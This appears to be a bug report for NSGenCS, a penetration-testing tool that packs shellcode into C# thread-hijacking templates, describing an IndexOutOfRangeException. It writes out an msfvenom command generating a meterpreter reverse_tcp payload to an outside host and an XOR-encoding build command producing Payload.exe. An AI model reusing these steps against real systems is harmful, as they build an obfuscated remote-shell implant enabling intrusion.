Unhandled Exception when using Thread_Hijack template

Hi,

Environment:
Windows 10 x64
Python 3.10.2
.NET SDKs installed:
6.0.201 [C:\Program Files\dotnet\sdk]

Steps to reproduce the error

Unhandled Exception: System.IndexOutOfRangeException: Index was outside the bounds of the array.
at ThreadHijack.Main(String[] args)

Use msfvenom to create a .cs file
msfvenom -p windows/x64/meterpreter/reverse_tcp -f csharp LPORT=4444 LHOST=x.x.x.x -o meterpreter.cs
The template file in the Thread_Hijack directory appeared to be modified already. When I searched for payload it was not found in the file.
Ran the following
python3 NSGenCS.py -file meterpreter.cs -method xor -key 0xbb -template Thread_Hijack

> Creating encoded shellcode from CS file

  Determining projects to restore...
  Restored C:\Users\mark\pentest\NSGenCS\Thread_Hijack\Payload.csproj (in 212 ms).
  Payload -> C:\Users\mark\pentest\NSGenCS\Thread_Hijack\bin\Release\net45\win10-x64\Payload.exe
  Payload -> C:\Users\mark\pentest\NSGenCS\Thread_Hijack\bin\Release\net45\win10-x64\publish\
        1 file(s) copied.

If you didn't see a bunch of red lines before this message, you should see payload.exe now :)
